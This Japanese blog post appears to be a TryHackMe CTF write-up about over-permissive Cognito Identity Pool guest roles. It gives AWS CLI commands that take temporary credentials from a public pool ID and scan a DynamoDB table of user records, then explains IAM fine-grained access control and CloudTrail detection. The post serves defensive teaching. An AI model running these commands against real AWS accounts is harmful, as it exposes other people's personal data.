はじめに
AWS では、Cognito Identity Pool を使うと「ログイン不要」のゲストアクセスを提供できます。デモアプリ、無料体験、ゲスト向け機能などでよく使われる構成です。
ここで払い出される 未認証ユーザー(Unauthenticated Role)の IAM 権限設定を誤ると、誰でも AWS の一時認証情報を取得し、許可された範囲の AWS リソースへ直接アクセスできてしまいます。
この記事の結論を先に一行で言うと、「フロントエンドのコードでアクセスを制御しても、それは認可ではない。認可は IAM とデータモデルの両方で設計しないと破られる」 ということです。
TryHackMe の CTF 環境(S3 + Cognito Identity Pool + 未認証 IAM Role + DynamoDB)を題材に、攻撃者視点で再現し、AWS 純正の正しい設計と検知方法まで通しで扱います。
免責事項
本記事の検証は、TryHackMe が学習用に提供する演習環境に対してのみ実施しています。自分に権限のないAWSリソースへのアクセスは、不正アクセス禁止法および AWS 利用規約に抵触します。本記事の内容は、自分が管理・許可された環境の設定を確認する目的でのみ利用してください。識別子(Identity Pool ID、テーブル名等)はすべてマスクしています。
構成
S3 Static Website
│
▼
Cognito Identity Pool
│
▼
Unauthenticated IAM Role
│
▼
DynamoDB
フロントエンドの JavaScript に、次の情報が埋め込まれていました。
const IDENTITY_POOL_ID = "us-east-1:xxxx-..."; // マスク
const AWS_REGION = "us-east-1";
const TABLE_NAME = "GuestWellnessProfiles"; // マスク
「AWS の情報がフロントにあるのは危険では?」と思うかもしれません。しかし Cognito の Identity Pool ID 自体は、クライアントに埋め込まれる(公開される)前提で設計されています。 これ自体は問題ではありません。
本当に問題になるのは、その ID から払い出される IAM 権限が適切か、という一点です。
攻撃の再現 — ブラウザもアプリのJSも使わない
この構成の怖さを一番よく表すのは、アプリのフロントエンドを一切経由せず、公開されている Identity Pool ID だけで、CLI から完結できる という点です。フロントの制御が認可に関係ないことの実演になります。
1. 未認証IDと一時認証情報を払い出す
# 公開されている Identity Pool ID だけで、未認証IDを取得
aws cognito-identity get-id \
--identity-pool-id us-east-1:xxxx-... \
--region us-east-1
# → { "IdentityId": "us-east-1:yyyy-..." }
# その IdentityId で一時認証情報を取得
aws cognito-identity get-credentials-for-identity \
--identity-id us-east-1:yyyy-... \
--region us-east-1
# → AccessKeyId / SecretKey / SessionToken が返る
払い出されたロールは xxx-cognito-unauth-role(未認証ロール)でした。
2. 取得した認証情報で DynamoDB を直接叩く
払い出された一時認証情報を環境変数にセットします。
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
まずテーブル一覧を試します。
aws dynamodb list-tables --region us-east-1
# AccessDeniedException: not authorized to perform: dynamodb:ListTables
拒否されました。ただし ListTables はアカウントレベルの操作なので拒否されているだけで、個別テーブルへの操作まで拒否されているとは限りません。 ここが重要です。
アプリのコードは、自分のゲストIDだけを引く GetItem 設計でした。
// アプリ側は「自分の1件だけ」を取得する想定
dynamodb.getItem({
TableName: "GuestWellnessProfiles",
Key: { guest_id: { S: guestId() } }
});
しかし 認可はフロントエンドのコードでは決まりません。 テーブルへの権限が残っているなら、SDK / CLI から任意の操作を試せます。
3. Scan で全件取得
aws dynamodb scan --table-name GuestWellnessProfiles --region us-east-1
{
"Count": 5,
"Items": [
{ "guest_id": { "S": "guest-vibe" },
"email": { "S": "vibe@example.thm" } },
{ "guest_id": { "S": "guest-vip-042" },
"email": { "S": "vip042@example.thm" },
"password": { "S": "********" } }
]
}
※ 抜粋。全5件を取得できました。
アプリを一度も開かず、公開されている Identity Pool ID だけで全ユーザー情報が取得できた ことになります。
ここで見えた「2つ」の問題
問題A:未認証ロールに Scan が付いていた(認可不備)
ゲストに必要なのは、せいぜい自分の1件を引く GetItem です。にもかかわらず dynamodb:Scan が許可されており、最小権限の原則(Principle of Least Privilege)に反していました。
問題B:パスワードが平文で保存されていた(別の重大問題)
ダンプに password フィールドが平文で含まれていました。これは IAM 認可不備とは独立した第二の指摘事項です。DynamoDB に認証情報を平文で持つこと自体が問題であり、フィールド名(この CTF では権限昇格の入口)が示すとおり、一度漏れれば横展開・昇格に直結します。IAM を直しても、この設計を放置すれば別経路で被害が出ます。
対策
1. Scan を消すだけでは不十分 —「自分の行しか読めない」を IAM で保証する
まず不要な権限を剥がします。
{
"Effect": "Allow",
"Action": ["dynamodb:GetItem"],
"Resource": "arn:aws:dynamodb:us-east-1:*:table/GuestWellnessProfiles"
}
ただし これは必要条件であって十分条件ではありません。 今回のダンプが示すとおり、guest_id は guest-vip-042 のように推測可能です。GetItem だけに絞っても、攻撃者は他人の guest_id を推測して他人のレコードを引けます(IDOR / 水平権限昇格)。
この構成に対する AWS 純正の正解は、DynamoDB のきめ細かなアクセス制御(Fine-Grained Access Control) です。IAM ポリシーの Condition に Cognito の Identity ID(sub)を紐づけ、「自分のパーティションキーの行しか操作できない」ように縛ります。
{
"Effect": "Allow",
"Action": ["dynamodb:GetItem"],
"Resource": "arn:aws:dynamodb:us-east-1:*:table/GuestWellnessProfiles",
"Condition": {
"ForAllValues:StringEquals": {
"dynamodb:LeadingKeys": ["${cognito-identity.amazonaws.com:sub}"]
}
}
}
ポイントは データモデル側の設計変更 です。パーティションキーを、アプリ由来の guest-vip-042 のような推測可能な値ではなく、Cognito が払い出す一意な Identity ID(sub)にする。こうすると「自分の行しか取れない」が IAM レベルで保証され、Scan を剥がすだけでは防げない IDOR まで塞げます。
認可は IAM とデータモデルを一体で設計する — これがこの構成の本質的な対策です。
2. そもそも DynamoDB に直アクセスさせない(サーバー側で絞る)
個人情報を扱うなら、クライアントから DynamoDB を直接叩かせる設計自体を見直します。
Client → API Gateway / Lambda → DynamoDB
└ 必要な項目だけ返す(サーバー側フィルタ)
なお、1 の LeadingKeys は「直アクセスを残すならこう縛る」本命の対策、この 2 は「そもそも直アクセスをやめる」対策で、役割が異なります。要件に応じて選びます。
3. 自分の環境で見つける(検知)
設計を直す前に、まず既存環境に同じ穴がないか棚卸しします。
- 未認証ロールのポリシーに
dynamodb:Scan/Query/*が付いていないか確認する - IAM Access Analyzer で過剰権限を洗い出す
- Identity Pool で「未認証アクセスの許可」が本当に必要か見直す(不要なら無効化が最善)
ログでの検知も設定します。
- CloudTrail で
GetCredentialsForIdentity(未認証の認証情報払い出し)を監視する -
注意:DynamoDB のデータプレーン呼び出し(
Scan/GetItem等)は、CloudTrail のデータイベントを有効化しないと記録されません。 「Scan されたのにログに残っていない」の多くはこれが原因です
まとめ
- Cognito の Identity Pool ID は公開前提。公開されていること自体は問題ではない
- 問題は、そこから払い出される IAM 権限が過剰かどうか
- フロントエンドの制御は認可ではない。 アプリを経由せず、公開IDだけで CLI から全件取得できた
-
Scanを剥がすだけでは IDOR が残る。Fine-Grained Access Control(LeadingKeys× Identity ID)でデータモデルごと設計するのが正解 - 平文パスワードの保管は、IAM とは別の独立した重大問題として扱う
- 直す前に、Access Analyzer と CloudTrail データイベントで自分の環境を棚卸し・検知できる状態にする
便利なゲストアクセス機能ほど、IAM とデータモデルの設計を誤ると静かに情報漏洩につながります。「認証情報が公開されているから危険」ではなく、その認証情報にどの権限が付いているか、そしてデータモデルがその権限を安全に成立させているかを、常に一体で確認してください。
使用した環境
- TryHackMe
- AWS Cognito Identity Pool / IAM / DynamoDB
- AWS CLI(Cognito Identity, DynamoDB)
- ※ サンプルの JS コードは AWS SDK for JavaScript v2 系の記法です。v3 はコマンドオブジェクト方式で書き方が異なります
タグ
Security AWS Cognito DynamoDB IAM 脆弱性診断 CTF